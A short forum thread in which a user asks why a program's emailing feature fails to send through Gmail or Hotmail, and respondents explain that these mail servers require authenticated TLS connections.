OK here is the problem, it does not send the email on any of my 2 computers. No firewall, No Anti Virus. I don't know if there is an error in this or what? All the other code works fine, except for this emailing part

If you need any more info ask me cause this not sending is driving me nuts

Thanks
Ty

You need to use authentication with Hotmail servers (TLS Connection)

A quick search brought me to the code here

Ok i will try that but why won't it even send to gmail (that was the first thing it does, but if it doesn't email with the gmail it then will use the hotmail. any ideas with that>

Most of these email servers do not allow unauthenticated access. Do you want a spammer or miscreant to just be able to use YOUR email account to send emails? That's why you have to authenticate yourself with your account credentials.

Yes it only uses my email.
can someone try to test it themselves and say if it was just me or what? it only sends one email then it ends.
